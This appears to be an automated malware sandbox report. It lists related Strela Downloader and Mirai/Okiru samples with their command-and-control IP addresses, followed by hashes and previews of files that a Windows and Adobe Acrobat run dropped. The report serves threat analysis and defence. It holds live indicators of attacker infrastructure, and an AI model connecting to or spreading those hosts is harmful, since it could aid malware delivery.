	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066990247150102
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq8:2JIB/wUKUKQncEmYRTwh04
MD5:	D1198FB3EB92910A52722221E967C6A1
SHA1:	1D54C1F4925CDF06DEB48B507DE195B2BD5AC19D
SHA-256:	49E86892DD3078E4F7939E578065DB426F198A9475EF0C2C8F4F1F4219DDE21E
SHA-512:	21387AB342DDF18B4B3F11F8BEFDD2752367B43C7358B44A2C075CFD7A234A97AD0C84082EC705DF85140724043432AAFBFACE948CB214618858D2CFF37C4E71
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbbe8419a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899395331590944
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	757654FF4FA0C9429762C73A8A22298F
SHA1:	F53FA0AD67FD5B184FBCCFCB3E380F49EC460801
SHA-256:	24FADB5391BC93F9EC132BA02C551AAA0741486043F06625562BEF8225E59806
SHA-512:	ACEE2B2CB814F9815FF720090274F503A73E9C02CD7156025E390DCE268BFCBA7E693C4E2D61F19294F015D9B946EE9D870195AD6F8B2DD269A4829A356130AB
Malicious:	false
Preview:	..A.... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................z{.......}.....................e.....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08047672979327336
Encrypted:	false
SSDEEP:	3:Oml/llKYeB1k1Rxt/57Dek3JkHt51lXallEqW3l/TjzzQ/t:r//KzB1kfR3totgmd8/
MD5:	68A75DEFBF7089821CD388587179B2D8
SHA1:	17E271921EE6E8DB2EBF5F89D12DC46A6A9811DF
SHA-256:	87EB88461CC5C91966C1838ED19465F1D52896C179A0C7B7825EBE04FF5AA4CC
SHA-512:	1797D16D446930566CE5FC05B4E75F818A095C38A40832BF5A16435266ED3C7FCA563C9F99F6AD2C108CBC7312FB607B14F39798ADECD1F99F85A2ED70541399
Malicious:	false
Preview:	.Y.......................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59...................e.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.25183516393778
Encrypted:	false
SSDEEP:	6:iOnVisyq2PcNwi2nKuAl9OmbnIFUtdVIL1ZmwzVIdRkwOcNwi2nKuAl9OmbjLJ:7V3yvLZHAahFUtXy/5aR54ZHAaSJ
MD5:	02CD65B147A76BDEA9EAB57A6BC761EB
SHA1:	9DF77417967BB99291CBE6DBCBE566F4BF649766
SHA-256:	2838AF812204C60C60D27A5E6F00258D083E441972001E50CF7353CEA5AAB225
SHA-512:	2E9BEC2F21C570B63AAD4CD7A3ED8BF8CFFDA743313F948FF4AF7FED2A83C8B2EB3025F60D6C949E77DB58563041017488BA1D098482A276116FABEF96D53547
Malicious:	false
Preview:	2025/01/13-03:05:18.264 1f54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:05:18.267 1f54 Recovering log #3.2025/01/13-03:05:18.267 1f54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.25183516393778
Encrypted:	false
SSDEEP:	6:iOnVisyq2PcNwi2nKuAl9OmbnIFUtdVIL1ZmwzVIdRkwOcNwi2nKuAl9OmbjLJ:7V3yvLZHAahFUtXy/5aR54ZHAaSJ
MD5:	02CD65B147A76BDEA9EAB57A6BC761EB
SHA1:	9DF77417967BB99291CBE6DBCBE566F4BF649766
SHA-256:	2838AF812204C60C60D27A5E6F00258D083E441972001E50CF7353CEA5AAB225
SHA-512:	2E9BEC2F21C570B63AAD4CD7A3ED8BF8CFFDA743313F948FF4AF7FED2A83C8B2EB3025F60D6C949E77DB58563041017488BA1D098482A276116FABEF96D53547
Malicious:	false
Preview:	2025/01/13-03:05:18.264 1f54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:05:18.267 1f54 Recovering log #3.2025/01/13-03:05:18.267 1f54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.160850854856509
Encrypted:	false
SSDEEP:	6:iOnVUp+q2PcNwi2nKuAl9Ombzo2jMGIFUtdVoSmWZmwzVBVkwOcNwi2nKuAl9OmT:7VUp+vLZHAa8uFUtXL/5BV54ZHAa8RJ
MD5:	A21B7D63C370731AE12FA99DA686B0C1
SHA1:	6277E23408D3947E996C522C456F4887783CD4EB
SHA-256:	054A9D6586D887D6397C74522E7D9D1C86F80EFCF694FE822B68119C472F15D2
SHA-512:	E7452F1A381B2C73B56A82273C75778C7022045ED6BF1F9E953B8B54C4B98FCF0D91D5B4BBDA9678179FCD0ECEE5CA7652A6BCDE50EAD85B340F02FC1636E1E6
Malicious:	false
Preview:	2025/01/13-03:05:18.348 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:05:18.349 50c Recovering log #3.2025/01/13-03:05:18.350 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.160850854856509
Encrypted:	false
SSDEEP:	6:iOnVUp+q2PcNwi2nKuAl9Ombzo2jMGIFUtdVoSmWZmwzVBVkwOcNwi2nKuAl9OmT:7VUp+vLZHAa8uFUtXL/5BV54ZHAa8RJ
MD5:	A21B7D63C370731AE12FA99DA686B0C1
SHA1:	6277E23408D3947E996C522C456F4887783CD4EB
SHA-256:	054A9D6586D887D6397C74522E7D9D1C86F80EFCF694FE822B68119C472F15D2
SHA-512:	E7452F1A381B2C73B56A82273C75778C7022045ED6BF1F9E953B8B54C4B98FCF0D91D5B4BBDA9678179FCD0ECEE5CA7652A6BCDE50EAD85B340F02FC1636E1E6
Malicious:	false
Preview:	2025/01/13-03:05:18.348 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:05:18.349 50c Recovering log #3.2025/01/13-03:05:18.350 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2da5f6f7-0a61-4af5-bc9d-483828455534.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3eaf4d.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d8ff2130-4769-4987-a026-3edf5bbe0d6e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.973815187481089
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDXXWsBdOg2Hocaq3QYiubSpDyP7E4T3y:Y2sRdsAXLdMHD3QYhbSpDa7nby
MD5:	514DE0DBDEDE18D4548830FD6B04A66A
SHA1:	686C3A1030434D832A7B65FD1E5C6FD8F512BE38
SHA-256:	C8BD096D2ECB9EBBA146470C4C7AA5AD2597FA6A54AC158F3F49EE1FFBD122D0
SHA-512:	706677CB0D7D35213636C8CA3DC30512EDA55CC015FE60523A1F88E1F199CAE3F53D2B5432D1E26C29950396D30E3CFA4C52511420B6EA9FB211CD2B8A65B54B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381315529824207","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":107550},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2345043815115355
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPKPCmPze:CwNw1GHqPySfkcigoO3h28ytPoCize
MD5:	C35AE8FC9CCF63CDC1F8DEEA9FDE73D3
SHA1:	AB104419E6BBFCABC7361DA3F836B46D4E8FCE0B
SHA-256:	6F3020A3C4CC255194588AD55EBD412A4725F563D13AEED02A0E4FA4FA23995E
SHA-512:	7301FA6EDDD13EC73D59AE7A3C0B122304DBDC1D019F40E3E7E779FDD6F11F323E847E407982291940CFEAC5687B63BFF09C69E5C3E103C0A2744A8E2930B9B6
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.1772240853888425
Encrypted:	false
SSDEEP:	6:iOnVss3+q2PcNwi2nKuAl9OmbzNMxIFUtdVcpWZmwzVc+VkwOcNwi2nKuAl9Ombg:7V/3+vLZHAa8jFUtXF/5DV54ZHAa84J
MD5:	77CF5E3A186825CD7FE98AA6CC28FE34
SHA1:	FAE826943BE69896C9550974BA5C59F36F9CEEB4
SHA-256:	C81327B9AAB67C04A24C91B74E90860FD97EAC6EBD521823AF0D69FFFAB45291
SHA-512:	E6D95F813BFBC4A485C6B7C7F6FD763BC04561A202667A14CDDC491B825B0B73E9BDD90D9F7AF6588B187C46351D1C3AEE328B7A331B20D334B255F1F69355D5
Malicious:	false
Preview:	2025/01/13-03:05:18.626 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:05:18.633 50c Recovering log #3.2025/01/13-03:05:18.639 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.1772240853888425
Encrypted:	false
SSDEEP:	6:iOnVss3+q2PcNwi2nKuAl9OmbzNMxIFUtdVcpWZmwzVc+VkwOcNwi2nKuAl9Ombg:7V/3+vLZHAa8jFUtXF/5DV54ZHAa84J
MD5:	77CF5E3A186825CD7FE98AA6CC28FE34
SHA1:	FAE826943BE69896C9550974BA5C59F36F9CEEB4
SHA-256:	C81327B9AAB67C04A24C91B74E90860FD97EAC6EBD521823AF0D69FFFAB45291
SHA-512:	E6D95F813BFBC4A485C6B7C7F6FD763BC04561A202667A14CDDC491B825B0B73E9BDD90D9F7AF6588B187C46351D1C3AEE328B7A331B20D334B255F1F69355D5
Malicious:	false
Preview:	2025/01/13-03:05:18.626 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:05:18.633 50c Recovering log #3.2025/01/13-03:05:18.639 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4385438325124005
Encrypted:	false
SSDEEP:	384:Selci5GKiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:SqurVgazUpUTTGt
MD5:	B77CA9B8ACCEF10C99577DAA93CFAC39
SHA1:	FCD5DE08ECEE7EA0B3E1BC585B6A931ABF8328F0
SHA-256:	5845F7572D6CD4D1CD631863C5B7F428AF3E0C8F1FE6F4FB0EE197AC24D08E06
SHA-512:	E6F1C584F45C4C06F578E97D2C97F3CCE41F890E877867068241710C44100BB6CAC8282375A2C9A411E6A4B8ADADAE766447F42DE1387106F09E9DEE2C3CF12A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	modified
Size (bytes):	8720
Entropy (8bit):	2.2135736469624994
Encrypted:	false
SSDEEP:	48:7MSIMWVsqvmFTIF3XmHjBoGGR+jMz+LhV:7xIM/79IVXEBodRBkj
MD5:	0488869D9B0AFB4B26FBF4096035CF93
SHA1:	9245BACC16EAE3001102F13FE601FE60F871C227
SHA-256:	004157805CAED3F0A19C20270108FB17EE47C190181EE77B07C2472CCDBE7DA0
SHA-512:	91C7DB55CDC794BC1C77098EF9FDB6065FE56DD3124583639A114BD9A18ACAB1EEE6116008B347DA290105B3FB8F6F5CE21F71A33D7A6C1003E32431E8662198
Malicious:	false
Preview:	.... .c......#yH........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.73533016978716
Encrypted:	false
SSDEEP:	3:kkFklpcA0o/ltfllXlE/HT8kkTzttNNX8RolJuRdxLlGB9lQRYwpDdt:kKpA0oteT81VNMa8RdWBwRd
MD5:	A00C53F16C6EF12D6EFE5EC4F0431133
SHA1:	9A83D01578ACB259618012E9F81B8B1C132523D6
SHA-256:	68A2717B2B08610D95640ACC2821F21D7896A9E28D75F90174EA7D92EBA93114
SHA-512:	70A4753B1513D8E9C2F4750124064230877469DC0CB03FDB343C964C3CDFECE427BA50587143F9D886A9A2E47011F2CA727E2321392722F0A350614BC5568400
Malicious:	false
Preview:	p...... .........98.e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2421047741749685
Encrypted:	false
SSDEEP:	6:kKGEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:OsiDImsLNkPlE99SNxAhUe/3
MD5:	1822A3D15C504914835960363A0A5384
SHA1:	A14E7A9D291CF801A7DEEAEA9BF7A99BB1374409
SHA-256:	98539026F1F01A86359CCD77C3DC7F6E873C829D5ACA9B17A92E037DFD441659
SHA-512:	84C56F733C76908B16B8D9A9AC38A25C5E8CA01007F3B5089CCD5B9943E21104B147546806ECA96CF20B28E21D64FF7CC44DB4274C76B11EE10FDC5CFF63221D
Malicious:	false
Preview:	p...... ........VR...e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
